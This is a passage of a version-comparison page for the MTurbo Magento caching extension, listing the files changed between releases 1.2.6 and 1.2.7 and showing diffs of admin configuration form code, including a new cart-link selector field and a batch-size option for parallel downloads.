MTurbo - Version 1.2.7

Version Notes

Visit product homepage at:
http://www.artio.net/magento-extensions/m-turbo-accelerator

Download this release

Release Info

Developer Magento Core Team
Extension MTurbo
Version 1.2.7
Comparing to
See all releases


Code changes from version 1.2.6 to 1.2.7

Files changed (37) hide show
  1. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Dynamic.php +8 -2
  2. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Main.php +75 -38
  3. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Product.php +6 -5
  4. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Url.php +34 -35
  5. app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Website.php +4 -4
  6. app/code/local/Artio/MTurbo/Block/Adminhtml/Run.php +55 -67
  7. app/code/local/Artio/MTurbo/Block/Adminhtml/Welcome/Form.php +27 -27
  8. app/code/local/Artio/MTurbo/Block/Ajax.php +2 -2
  9. app/code/local/Artio/MTurbo/Helper/Data.php +34 -34
  10. app/code/local/Artio/MTurbo/Helper/Info.php +4 -0
  11. app/code/local/Artio/MTurbo/Helper/Urlparams.php +59 -30
  12. app/code/local/Artio/MTurbo/Model/Config.php +129 -95
  13. app/code/local/Artio/MTurbo/Model/Config/DynamicTransformer.php +31 -22
  14. app/code/local/Artio/MTurbo/Model/DownloadMethods/Abstract.php +44 -10
  15. app/code/local/Artio/MTurbo/Model/DownloadMethods/Curl.php +56 -29
  16. app/code/local/Artio/MTurbo/Model/DownloadMethods/Curlmulti.php +169 -0
  17. app/code/local/Artio/MTurbo/Model/DownloadMethods/Direct.php +73 -37
  18. app/code/local/Artio/MTurbo/Model/DownloadMethods/Filegetcontents.php +43 -14
  19. app/code/local/Artio/MTurbo/Model/DownloadMethods/Socket.php +115 -25
  20. app/code/local/Artio/MTurbo/Model/DownloadMethodsFactory.php +1 -1
  21. app/code/local/Artio/MTurbo/Model/DownloadQueue.php +285 -0
  22. app/code/local/Artio/MTurbo/Model/Mturbo.php +292 -98
  23. app/code/local/Artio/MTurbo/Model/Mturbo/Event.php +116 -267
  24. app/code/local/Artio/MTurbo/Model/Mturbo/File.php +56 -149
  25. app/code/local/Artio/MTurbo/Model/Observer.php +310 -299
  26. app/code/local/Artio/MTurbo/Model/htaccess/htaccessstore.txt +2 -2
  27. app/code/local/Artio/MTurbo/Model/scripts/wgetlib.so +1 -1
  28. app/code/local/Artio/MTurbo/Model/scripts/wgettrans.so +0 -1
  29. app/code/local/Artio/MTurbo/controllers/Adminhtml/MturboController.php +270 -232
  30. app/code/local/Artio/MTurbo/controllers/IndexController.php +103 -97
  31. app/code/local/Artio/MTurbo/etc/config.xml +17 -57
  32. app/code/local/Artio/MTurbo/sql/mturbo_setup/mysql4-upgrade-1.2.1-1.2.7.php +65 -0
  33. app/design/adminhtml/default/default/template/mturbo/demo.phtml +1 -1
  34. app/design/adminhtml/default/default/template/mturbo/preview/tree.phtml +150 -1
  35. package.xml +4 -4
  36. skin/frontend/base/default/js/mturbo.js +27 -53
  37. skin/frontend/default/default/js/mturbo.js +27 -53
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Dynamic.php CHANGED
@@ -93,6 +93,12 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Dynamic
93
  0 => $this->getMyHelper()->__('No'),
94
  1 => $this->getMyHelper()->__ ( 'Yes' ))
95
  ));
 
 
 
 
 
 
96
 
97
 
98
  $layoutFieldsetUser = $form->addFieldset('dynamic_block_user', array(
@@ -103,7 +109,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Dynamic
103
  $layoutFieldsetUser->addField('userblocks', 'textarea', array(
104
  'name' => 'userblocks',
105
  'label' => $this->getMyHelper()->__('Layout names of dynamic loaded blocks').':',
106
- 'after_element_html' => '<span><i>'.$this->getMyHelper()->__("Values separated by (',').").'</i></span>'
107
  ));
108
 
109
  $this->_addJsFixFieldset($form);
@@ -184,7 +190,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Dynamic
184
 
185
  $layoutFieldset->addField ('jsstate'.$i, 'html_element',
186
  array (
187
- 'label' => '<b style="font-size:10px">'.str_replace(Mage::getBaseDir().DS.'skin'.DS.'frontend', '', $themePackage->getJsPath()).'</b>',
188
  'code' => $html)
189
  );
190
 
93
  0 => $this->getMyHelper()->__('No'),
94
  1 => $this->getMyHelper()->__ ( 'Yes' ))
95
  ));
96
+
97
+ $layoutFieldsetDefault->addField('cartlink', 'text', array(
98
+ 'name' => 'cartlink',
99
+ 'label' => $this->getMyHelper()->__('CSS selector for cart link').':',
100
+ 'after_element_html' => '<span><i>'.$this->getMyHelper()->__("Separate the values by comma ','.").'</i></span>'
101
+ ));
102
 
103
 
104
  $layoutFieldsetUser = $form->addFieldset('dynamic_block_user', array(
109
  $layoutFieldsetUser->addField('userblocks', 'textarea', array(
110
  'name' => 'userblocks',
111
  'label' => $this->getMyHelper()->__('Layout names of dynamic loaded blocks').':',
112
+ 'after_element_html' => '<span><i>'.$this->getMyHelper()->__("Separate the block identifiers by comma ','. Separate a layout handle from a layout name by '$'. (Ex.: block,catalog_category_default\$other_block)").'</i></span>'
113
  ));
114
 
115
  $this->_addJsFixFieldset($form);
190
 
191
  $layoutFieldset->addField ('jsstate'.$i, 'html_element',
192
  array (
193
+ 'label' => str_replace(Mage::getBaseDir().DS.'skin'.DS.'frontend', '', $themePackage->getJsPath()),
194
  'code' => $html)
195
  );
196
 
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Main.php CHANGED
@@ -20,7 +20,7 @@
20
  */
21
 
22
  /**
23
- * Configuration tab contains turbopath settings, download method chooser,
24
  * automatic downloader settings (only full version), filesize viewing settings and
25
  * backup of htaccess settings.
26
  *
@@ -30,19 +30,19 @@
30
  */
31
  class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Main extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
32
  {
33
-
34
  /**
35
  * Form on this tab.
36
  * @var Varien_Data_Form
37
  */
38
  private $form;
39
-
40
  /**
41
  * Constructor. Id of this section is 'main_section'.
42
  */
43
- public function __construct() {
44
  parent::__construct();
45
-
46
  $this->setId('main_section');
47
  $this->_title = $this->getMyHelper()->__('Main Configuration');
48
  }
@@ -63,39 +63,68 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Main extends Artio_MTurbo_Block_Admi
63
  $this->setForm($this->form);
64
 
65
  return parent::_prepareForm();
66
-
67
  }
68
-
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
69
  /**
70
  * Fieldset for turbo path.
71
  */
72
  private function _addTurboPathFieldset() {
73
-
74
  /* make fieldset */
75
  $layoutFieldset = $this->form->addFieldset('turbopath_fieldset', array(
76
  'legend' => $this->getMyHelper()->__('Turbopath directory'),
77
  'class' => 'fieldset'));
78
-
79
  /* add field for turbopath */
80
  $layoutFieldset->addField('turbopath', 'text', array(
81
  'name' => 'turbopath',
82
  'label' => $this->getMyHelper()->__('Relative path from webroot').':',
83
  'value' => 'var'.DS.'turbocache'));
84
-
85
  }
86
-
87
  /**
88
  * Fieldset for automatic downloader settings.
89
  */
90
  private function _addAutomaticDownloadFieldset() {
91
-
92
  /* make fieldset */
93
  $layoutFieldset = $this->form->addFieldset('download_fieldset', array(
94
  'legend' => $this->getMyHelper()->__('Automatic cache management'),
95
  'class' => 'fieldset'));
96
-
97
  $layoutFieldset->addType('html_element', Artio_MTurbo_Helper_Data::FORM_HTML);
98
-
99
  /* indicator whether automatic download is enabled */
100
  $layoutFieldset->addField('automatic_download', 'select', array(
101
  'name' => 'automatic_download',
@@ -103,30 +132,30 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Main extends Artio_MTurbo_Block_Admi
103
  'options' => array(
104
  0 => $this->getMyHelper()->__('No'),
105
  1 => $this->getMyHelper()->__ ( 'Yes' ))));
106
-
107
  /* automatic download time */
108
  $layoutFieldset->addType ( 'crontime', Artio_MTurbo_Helper_Data::FORM_CRON_HOUR_TIME );
109
  $layoutFieldset->addField ( 'automatic_download_time', 'crontime', array ('name' => 'automatic_download_time', 'label' => $this->getMyHelper ()->__ ( 'Download time' ) . ':', 'style' => 'display:inline;width:40px;' ) );
110
-
111
  /* label with last download */
112
  $layoutFieldset->addField ( 'lastdownload', 'label', array ('name' => 'lastdownload', 'label' => $this->getMyHelper ()->__ ( 'Last download' ) . ':', 'style' => 'height:24em;', 'disabled' => true ) );
113
-
114
  $scriptPath = Mage::helper('mturbo')->getFullDownloadScriptPath();
115
  if (!is_executable($scriptPath)) {
116
- $layoutFieldset->addField ( 'scriptstate', 'html_element',
117
  array ('label' => '<h4>'.$this->getMyHelper()->__('Script state').'</h4>',
118
  'code' => '<span style="color:red">'.Mage::helper('mturbo')->__("Script '%s' is not executable. Please change permission", $scriptPath).'</span>'));
119
  }
120
-
121
  }
122
-
123
- /**
124
- * Fieldset for choose download method.
125
  */
126
  private function _addDownloadMethodFieldset() {
127
-
128
  /* make fieldset */
129
- $layoutFieldset = $this->form->addFieldset ( 'downloadmethod_fieldset', array ('legend' => $this->getMyHelper ()->__ ( 'Choice download method' ), 'class' => 'fieldset' ) );
130
 
131
  /* select box for choose download method */
132
  $layoutFieldset->addType ('selectdmet', Artio_MTurbo_Helper_Data::FORM_SELECT_DOWN );
@@ -134,57 +163,65 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Main extends Artio_MTurbo_Block_Admi
134
  'name' => 'download_method',
135
  'label' => $this->getMyHelper()->__('Download method').':',
136
  'options' => Mage::getModel('mturbo/downloadMethodsFactory')->getList()));
137
-
 
 
 
 
 
 
 
 
138
  /* button for patch Mage.php */
139
  $label = Mage::getModel('mturbo/patch')->isPatched() ?
140
  Mage::helper('mturbo')->__('Remove Mage Patch') :
141
  Mage::helper('mturbo')->__('Apply Mage Patch');
142
-
143
  $layoutFieldset->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
144
  $layoutFieldset->addField('patch_button', 'widget_button', array(
145
  'name' => 'patch_button',
146
  'label' => $label,
147
  'onclick' => "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/magepatch') . "')",
148
  'comment' => $this->getMyHelper()->__('Apply the patch only just in case you need to use Direct Access download method!')));
149
-
150
  }
151
-
152
  /**
153
  * Add fieldset for settings views on filesize in the grid.
154
  */
155
  private function _addViewSizeMethodFieldset() {
156
-
157
  /* make fieldset */
158
  $layoutFieldset = $this->form->addFieldset ( 'viewsize_fieldset', array ('legend' => $this->getMyHelper ()->__ ( 'Filesize viewing' ), 'class' => 'fieldset' ) );
159
-
160
  /* add field for minimal page size */
161
  $layoutFieldset->addField('minimal_page_size', 'text', array(
162
  'name' => 'minimal_page_size',
163
  'label' => $this->getMyHelper()->__('The minimum size to decision, the page is alright (bytes)').':',
164
  'value' => '512'));
165
-
166
  }
167
-
168
  /**
169
- * Add fieldset for htaccess settings.
170
  */
171
  private function _addHtaccessFieldset() {
172
-
173
  /* make fieldset */
174
  $layoutFieldset = $this->form->addFieldset ( 'htaccess_fieldset', array ('legend' => $this->getMyHelper ()->__ ( 'Htaccess backup settings' ), 'class' => 'fieldset' ) );
175
-
176
  $layoutFieldset->addField('enabled_htaccess_backup', 'select', array(
177
  'name' => 'enabled_htaccess_backup',
178
  'label' => $this->getMyHelper()->__('Enable making htaccess backup').':',
179
  'options' => array(
180
  0 => $this->getMyHelper()->__('No'),
181
  1 => $this->getMyHelper()->__ ( 'Yes' ))));
182
-
183
  $layoutFieldset->addField('number_of_htaccess_backups', 'text', array(
184
  'name' => 'number_of_htaccess_backups',
185
  'label' => $this->getMyHelper()->__('The maximum number of htaccess backups').':',
186
  'value' => '10'));
187
-
188
  }
189
-
190
  }
20
  */
21
 
22
  /**
23
+ * Configuration tab contains turbopath settings, download method chooser,
24
  * automatic downloader settings (only full version), filesize viewing settings and
25
  * backup of htaccess settings.
26
  *
30
  */
31
  class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Main extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
32
  {
33
+
34
  /**
35
  * Form on this tab.
36
  * @var Varien_Data_Form
37
  */
38
  private $form;
39
+
40
  /**
41
  * Constructor. Id of this section is 'main_section'.
42
  */
43
+ public function __construct() {
44
  parent::__construct();
45
+
46
  $this->setId('main_section');
47
  $this->_title = $this->getMyHelper()->__('Main Configuration');
48
  }
63
  $this->setForm($this->form);
64
 
65
  return parent::_prepareForm();
 
66
  }
67
+
68
+ protected function _toHtml() {
69
+
70
+ $html = parent::_toHtml();
71
+
72
+ $parallel = 'curlmulti';
73
+
74
+ $html .= "<script type=\"text/javascript\">\n";
75
+ $html .= "//<![CDATA[\n";
76
+ $html .= "function checkDownloadMethod(value) {\n";
77
+ $html .= " var batchRow = $('download_batch_size').up().up();\n";
78
+ $html .= " if (!batchRow) return;\n";
79
+ $html .= " if (value == '".$parallel."'){\n";
80
+ $html .= " batchRow.style.display = 'table-row';\n";
81
+ $html .= " } else {\n";
82
+ $html .= " batchRow.style.display = 'none';\n";
83
+ $html .= " }\n";
84
+ $html .= "}\n";
85
+ $html .= "document.observe('dom:loaded', function() {\n";
86
+ $html .= " var select = $('download_method');\n";
87
+ $html .= " select.observe('change', function(event) {\n";
88
+ $html .= " checkDownloadMethod(select.value);\n";
89
+ $html .= " })\n";
90
+ $html .= " checkDownloadMethod(select.value);\n";
91
+ $html .= "});\n";
92
+ $html .= "//]]>\n";
93
+ $html .= "</script>";
94
+
95
+ return $html;
96
+ }
97
+
98
  /**
99
  * Fieldset for turbo path.
100
  */
101
  private function _addTurboPathFieldset() {
102
+
103
  /* make fieldset */
104
  $layoutFieldset = $this->form->addFieldset('turbopath_fieldset', array(
105
  'legend' => $this->getMyHelper()->__('Turbopath directory'),
106
  'class' => 'fieldset'));
107
+
108
  /* add field for turbopath */
109
  $layoutFieldset->addField('turbopath', 'text', array(
110
  'name' => 'turbopath',
111
  'label' => $this->getMyHelper()->__('Relative path from webroot').':',
112
  'value' => 'var'.DS.'turbocache'));
113
+
114
  }
115
+
116
  /**
117
  * Fieldset for automatic downloader settings.
118
  */
119
  private function _addAutomaticDownloadFieldset() {
120
+
121
  /* make fieldset */
122
  $layoutFieldset = $this->form->addFieldset('download_fieldset', array(
123
  'legend' => $this->getMyHelper()->__('Automatic cache management'),
124
  'class' => 'fieldset'));
125
+
126
  $layoutFieldset->addType('html_element', Artio_MTurbo_Helper_Data::FORM_HTML);
127
+
128
  /* indicator whether automatic download is enabled */
129
  $layoutFieldset->addField('automatic_download', 'select', array(
130
  'name' => 'automatic_download',
132
  'options' => array(
133
  0 => $this->getMyHelper()->__('No'),
134
  1 => $this->getMyHelper()->__ ( 'Yes' ))));
135
+
136
  /* automatic download time */
137
  $layoutFieldset->addType ( 'crontime', Artio_MTurbo_Helper_Data::FORM_CRON_HOUR_TIME );
138
  $layoutFieldset->addField ( 'automatic_download_time', 'crontime', array ('name' => 'automatic_download_time', 'label' => $this->getMyHelper ()->__ ( 'Download time' ) . ':', 'style' => 'display:inline;width:40px;' ) );
139
+
140
  /* label with last download */
141
  $layoutFieldset->addField ( 'lastdownload', 'label', array ('name' => 'lastdownload', 'label' => $this->getMyHelper ()->__ ( 'Last download' ) . ':', 'style' => 'height:24em;', 'disabled' => true ) );
142
+
143
  $scriptPath = Mage::helper('mturbo')->getFullDownloadScriptPath();
144
  if (!is_executable($scriptPath)) {
145
+ $layoutFieldset->addField ( 'scriptstate', 'html_element',
146
  array ('label' => '<h4>'.$this->getMyHelper()->__('Script state').'</h4>',
147
  'code' => '<span style="color:red">'.Mage::helper('mturbo')->__("Script '%s' is not executable. Please change permission", $scriptPath).'</span>'));
148
  }
149
+
150
  }
151
+
152
+ /**
153
+ * Fieldset for choose download method.
154
  */
155
  private function _addDownloadMethodFieldset() {
156
+
157
  /* make fieldset */
158
+ $layoutFieldset = $this->form->addFieldset ( 'downloadmethod_fieldset', array ('legend' => $this->getMyHelper ()->__ ( 'Download method' ), 'class' => 'fieldset' ) );
159
 
160
  /* select box for choose download method */
161
  $layoutFieldset->addType ('selectdmet', Artio_MTurbo_Helper_Data::FORM_SELECT_DOWN );
163
  'name' => 'download_method',
164
  'label' => $this->getMyHelper()->__('Download method').':',
165
  'options' => Mage::getModel('mturbo/downloadMethodsFactory')->getList()));
166
+
167
+ $predefinedValues = array(2,3,4,5,6,7,8,9,10,12,15,20,25,30,40,50,60,70,80,90,100);
168
+
169
+ $layoutFieldset->addField('download_batch_size', 'select', array(
170
+ 'name' => 'download_batch_size',
171
+ 'label' => $this->getMyHelper()->__('Batch size').':',
172
+ 'options' => array_combine($predefinedValues, $predefinedValues),
173
+ ));
174
+
175
  /* button for patch Mage.php */
176
  $label = Mage::getModel('mturbo/patch')->isPatched() ?
177
  Mage::helper('mturbo')->__('Remove Mage Patch') :
178
  Mage::helper('mturbo')->__('Apply Mage Patch');
179
+
180
  $layoutFieldset->addType('widget_button', Artio_MTurbo_Helper_Data::FORM_WIDGET_BUTTON);
181
  $layoutFieldset->addField('patch_button', 'widget_button', array(
182
  'name' => 'patch_button',
183
  'label' => $label,
184
  'onclick' => "setLocation('" . Mage::helper('adminhtml')->getUrl('*/*/magepatch') . "')",
185
  'comment' => $this->getMyHelper()->__('Apply the patch only just in case you need to use Direct Access download method!')));
186
+
187
  }
188
+
189
  /**
190
  * Add fieldset for settings views on filesize in the grid.
191
  */
192
  private function _addViewSizeMethodFieldset() {
193
+
194
  /* make fieldset */
195
  $layoutFieldset = $this->form->addFieldset ( 'viewsize_fieldset', array ('legend' => $this->getMyHelper ()->__ ( 'Filesize viewing' ), 'class' => 'fieldset' ) );
196
+
197
  /* add field for minimal page size */
198
  $layoutFieldset->addField('minimal_page_size', 'text', array(
199
  'name' => 'minimal_page_size',
200
  'label' => $this->getMyHelper()->__('The minimum size to decision, the page is alright (bytes)').':',
201
  'value' => '512'));
202
+
203
  }
204
+
205
  /**
206
+ * Add fieldset for htaccess settings.
207
  */
208
  private function _addHtaccessFieldset() {
209
+
210
  /* make fieldset */
211
  $layoutFieldset = $this->form->addFieldset ( 'htaccess_fieldset', array ('legend' => $this->getMyHelper ()->__ ( 'Htaccess backup settings' ), 'class' => 'fieldset' ) );
212
+
213
  $layoutFieldset->addField('enabled_htaccess_backup', 'select', array(
214
  'name' => 'enabled_htaccess_backup',
215
  'label' => $this->getMyHelper()->__('Enable making htaccess backup').':',
216
  'options' => array(
217
  0 => $this->getMyHelper()->__('No'),
218
  1 => $this->getMyHelper()->__ ( 'Yes' ))));
219
+
220
  $layoutFieldset->addField('number_of_htaccess_backups', 'text', array(
221
  'name' => 'number_of_htaccess_backups',
222
  'label' => $this->getMyHelper()->__('The maximum number of htaccess backups').':',
223
  'value' => '10'));
224
+
225
  }
226
+
227
  }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Product.php CHANGED
@@ -25,7 +25,7 @@
25
  */
26
 
27
  /**
28
- *
29
  *
30
  * @category Artio
31
  * @package Artio_MTurbo
@@ -35,14 +35,15 @@
35
  class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Product
36
  extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
37
  {
38
-
39
  public function __construct() {
40
  parent::__construct();
41
  $this->setId('product_section');
42
  $this->_title = $this->getMyHelper()->__('Products');
43
  }
44
-
45
- protected function _prepareForm() {
 
46
  }
47
 
48
- }
25
  */
26
 
27
  /**
28
+ *
29
  *
30
  * @category Artio
31
  * @package Artio_MTurbo
35
  class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Product
36
  extends Artio_MTurbo_Block_Adminhtml_Edit_Tab_Abstract
37
  {
38
+
39
  public function __construct() {
40
  parent::__construct();
41
  $this->setId('product_section');
42
  $this->_title = $this->getMyHelper()->__('Products');
43
  }
44
+
45
+ protected function _prepareForm() {
46
+ return parent::_prepareForm();
47
  }
48
 
49
+ }
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Url.php CHANGED
@@ -25,7 +25,7 @@
25
  * @package Artio_MTurbo
26
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
27
  */
28
- class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
29
  extends Mage_Adminhtml_Block_Widget_Grid
30
  implements Mage_Adminhtml_Block_Widget_Tab_Interface
31
  {
@@ -39,20 +39,20 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
39
  }
40
 
41
  protected function _prepareCollection() {
42
-
43
  $collection = Mage::getModel('mturbo/mturbo')->getCollection();
44
  $this->setCollection($collection);
45
-
46
  return parent::_prepareCollection();
47
-
48
  }
49
-
50
  protected function _afterLoadCollection() {
51
-
52
  foreach ($this->getCollection() as $model) {
53
  $model->loadFileInformation();
54
  }
55
-
56
  }
57
 
58
  protected function _prepareColumns() {
@@ -63,7 +63,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
63
  'align' => 'center',
64
  'index' => 'mturbo_id',
65
  ));
66
-
67
  $this->addColumn('store_id', array(
68
  'header' => $this->__('Store View'),
69
  'index' => 'store_id',
@@ -76,7 +76,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
76
  'align' =>'left',
77
  'index' => 'request_path',
78
  ));
79
-
80
  $this->addColumn('type', array(
81
  'header' => Mage::helper('mturbo')->__('Type'),
82
  'align' => 'left',
@@ -89,7 +89,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
89
  'unknow' => Mage::helper('mturbo')->__('Other')
90
  )
91
  ));
92
-
93
  $this->addColumn('exist', array(
94
  'header' => Mage::helper('mturbo')->__('Cached'),
95
  'align' => 'center',
@@ -103,7 +103,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
103
  1 => Mage::helper('mturbo')->__('Cached')
104
  )
105
  ));
106
-
107
  $this->addColumn('last_refresh', array(
108
  'header' => Mage::helper('mturbo')->__('Last refresh'),
109
  'align' =>'left',
@@ -112,7 +112,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
112
  'filter' => false,
113
  'sortable' => false
114
  ));
115
-
116
  $this->addColumn('size', array(
117
  'header' => Mage::helper('mturbo')->__('Size'),
118
  'align' => 'left',
@@ -134,7 +134,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
134
  1 => Mage::helper('mturbo')->__('Blocked')
135
  ),
136
  ));
137
-
138
  $this->addColumn('action2',
139
  array(
140
  'header' => '',
@@ -153,7 +153,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
153
  'filter' => false,
154
  'sortable' => false,
155
  ));
156
-
157
 
158
  $this->addColumn('action3',
159
  array(
@@ -181,28 +181,28 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
181
  $this->setMassactionIdField('mturbo_id');
182
  $this->getMassactionBlock()->setTemplate('mturbo/massaction.phtml');
183
  $this->getMassactionBlock()->setFormFieldName('mturbo');
184
-
185
 
186
  $this->getMassactionBlock()->addItem('block', array(
187
  'label' => Mage::helper('mturbo')->__('Block'),
188
  'url' => $this->getUrl('*/*/massBlock')
189
  ));
190
-
191
  $this->getMassactionBlock()->addItem('unblock', array(
192
  'label' => Mage::helper('mturbo')->__('Unblock'),
193
  'url' => $this->getUrl('*/*/massUnblock')
194
  ));
195
-
196
  /*$this->getMassactionBlock()->addItem('refresh', array(
197
  'label' => Mage::helper('mturbo')->__('Cache'),
198
  'url' => $this->getUrl('*//**//*massRefresh')
199
  ));*/
200
-
201
  $this->getMassactionBlock()->addItem('purge', array(
202
  'label' => Mage::helper('mturbo')->__('Purge from disk'),
203
  'url' => $this->getUrl('*/*/massPurge')
204
  ));
205
-
206
  $this->getMassactionBlock()->addItem('delete', array(
207
  'label' => Mage::helper('mturbo')->__('Delete'),
208
  'url' => $this->getUrl('*/*/massDelete'),
@@ -211,7 +211,7 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
211
 
212
  return $this;
213
  }
214
-
215
  public function getMainButtonsHtml()
216
  {
217
  $html = '';
@@ -235,28 +235,27 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
235
 
236
  return $html;
237
  }
238
-
239
  private function _getOnClickSynchronize() {
240
  return "$('massrefresh').value = url_section_massactionJsObject.checkedString;
241
  this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/synchronize')."';
242
  this.form.submit();";
243
  }
244
-
245
  private function _getOnClickCache() {
246
- return "if (url_section_massactionJsObject.checkedString.length > ".Mage::helper('mturbo')->getPostMaxValueSize().")
247
- {
248
- alert('". Mage::helper('mturbo')->__('You have checked too many pages. If you cache all pages use button `Cache all page` on `Action Tab`, please.') ."');
249
- return false;
250
- }
251
- this.form.target='_blank';
252
- $('massrefresh').value = url_section_massactionJsObject.checkedString;
253
- this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/massRefresh')."';
254
- this.form.submit();
255
- this.form.target='_self';
256
- this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/index')."';
257
- this.form.submit();";
258
  }
259
-
260
  /**
261
  * Prepare label for tab
262
  *
25
  * @package Artio_MTurbo
26
  * @author Artio Magento Team (jiri.chmiel@artio.cz)
27
  */
28
+ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Url
29
  extends Mage_Adminhtml_Block_Widget_Grid
30
  implements Mage_Adminhtml_Block_Widget_Tab_Interface
31
  {
39
  }
40
 
41
  protected function _prepareCollection() {
42
+
43
  $collection = Mage::getModel('mturbo/mturbo')->getCollection();
44
  $this->setCollection($collection);
45
+
46
  return parent::_prepareCollection();
47
+
48
  }
49
+
50
  protected function _afterLoadCollection() {
51
+
52
  foreach ($this->getCollection() as $model) {
53
  $model->loadFileInformation();
54
  }
55
+
56
  }
57
 
58
  protected function _prepareColumns() {
63
  'align' => 'center',
64
  'index' => 'mturbo_id',
65
  ));
66
+
67
  $this->addColumn('store_id', array(
68
  'header' => $this->__('Store View'),
69
  'index' => 'store_id',
76
  'align' =>'left',
77
  'index' => 'request_path',
78
  ));
79
+
80
  $this->addColumn('type', array(
81
  'header' => Mage::helper('mturbo')->__('Type'),
82
  'align' => 'left',
89
  'unknow' => Mage::helper('mturbo')->__('Other')
90
  )
91
  ));
92
+
93
  $this->addColumn('exist', array(
94
  'header' => Mage::helper('mturbo')->__('Cached'),
95
  'align' => 'center',
103
  1 => Mage::helper('mturbo')->__('Cached')
104
  )
105
  ));
106
+
107
  $this->addColumn('last_refresh', array(
108
  'header' => Mage::helper('mturbo')->__('Last refresh'),
109
  'align' =>'left',
112
  'filter' => false,
113
  'sortable' => false
114
  ));
115
+
116
  $this->addColumn('size', array(
117
  'header' => Mage::helper('mturbo')->__('Size'),
118
  'align' => 'left',
134
  1 => Mage::helper('mturbo')->__('Blocked')
135
  ),
136
  ));
137
+
138
  $this->addColumn('action2',
139
  array(
140
  'header' => '',
153
  'filter' => false,
154
  'sortable' => false,
155
  ));
156
+
157
 
158
  $this->addColumn('action3',
159
  array(
181
  $this->setMassactionIdField('mturbo_id');
182
  $this->getMassactionBlock()->setTemplate('mturbo/massaction.phtml');
183
  $this->getMassactionBlock()->setFormFieldName('mturbo');
184
+
185
 
186
  $this->getMassactionBlock()->addItem('block', array(
187
  'label' => Mage::helper('mturbo')->__('Block'),
188
  'url' => $this->getUrl('*/*/massBlock')
189
  ));
190
+
191
  $this->getMassactionBlock()->addItem('unblock', array(
192
  'label' => Mage::helper('mturbo')->__('Unblock'),
193
  'url' => $this->getUrl('*/*/massUnblock')
194
  ));
195
+
196
  /*$this->getMassactionBlock()->addItem('refresh', array(
197
  'label' => Mage::helper('mturbo')->__('Cache'),
198
  'url' => $this->getUrl('*//**//*massRefresh')
199
  ));*/
200
+
201
  $this->getMassactionBlock()->addItem('purge', array(
202
  'label' => Mage::helper('mturbo')->__('Purge from disk'),
203
  'url' => $this->getUrl('*/*/massPurge')
204
  ));
205
+
206
  $this->getMassactionBlock()->addItem('delete', array(
207
  'label' => Mage::helper('mturbo')->__('Delete'),
208
  'url' => $this->getUrl('*/*/massDelete'),
211
 
212
  return $this;
213
  }
214
+
215
  public function getMainButtonsHtml()
216
  {
217
  $html = '';
235
 
236
  return $html;
237
  }
238
+
239
  private function _getOnClickSynchronize() {
240
  return "$('massrefresh').value = url_section_massactionJsObject.checkedString;
241
  this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/synchronize')."';
242
  this.form.submit();";
243
  }
244
+
245
  private function _getOnClickCache() {
246
+ return "if (url_section_massactionJsObject.checkedString.length > ".Mage::helper('mturbo')->getPostMaxValueSize().")
247
+ {
248
+ alert('". Mage::helper('mturbo')->__('You have checked too many pages. If you cache all pages use button `Cache all page` on `Action Tab`, please.') ."');
249
+ return false;
250
+ }
251
+ $('massrefresh').value = url_section_massactionJsObject.checkedString;
252
+ this.form.target='_blank';
253
+ this.form.action = '".Mage::helper('adminhtml')->getUrl('*/*/massRefresh')."';
254
+ this.form.submit();
255
+ setTimeout('location.reload(true);',10);
256
+ ";
 
257
  }
258
+
259
  /**
260
  * Prepare label for tab
261
  *
app/code/local/Artio/MTurbo/Block/Adminhtml/Edit/Tab/Website.php CHANGED
@@ -110,21 +110,21 @@ class Artio_MTurbo_Block_Adminhtml_Edit_Tab_Website extends Artio_MTurbo_Block_A
110
  'label' => $this->getMyHelper()->__('Server name').':'));
111
 
112
  $layoutFieldset->addField ( $prefixWeb.'_dec1', 'html_element',
113
- array ('label' => '<h4>'.$this->getMyHelper()->__('Enable/Disable Storeview').'</h4>',
114
- 'code' => '<div style="height:10px;border-bottom:1px solid #808080"></div>'));
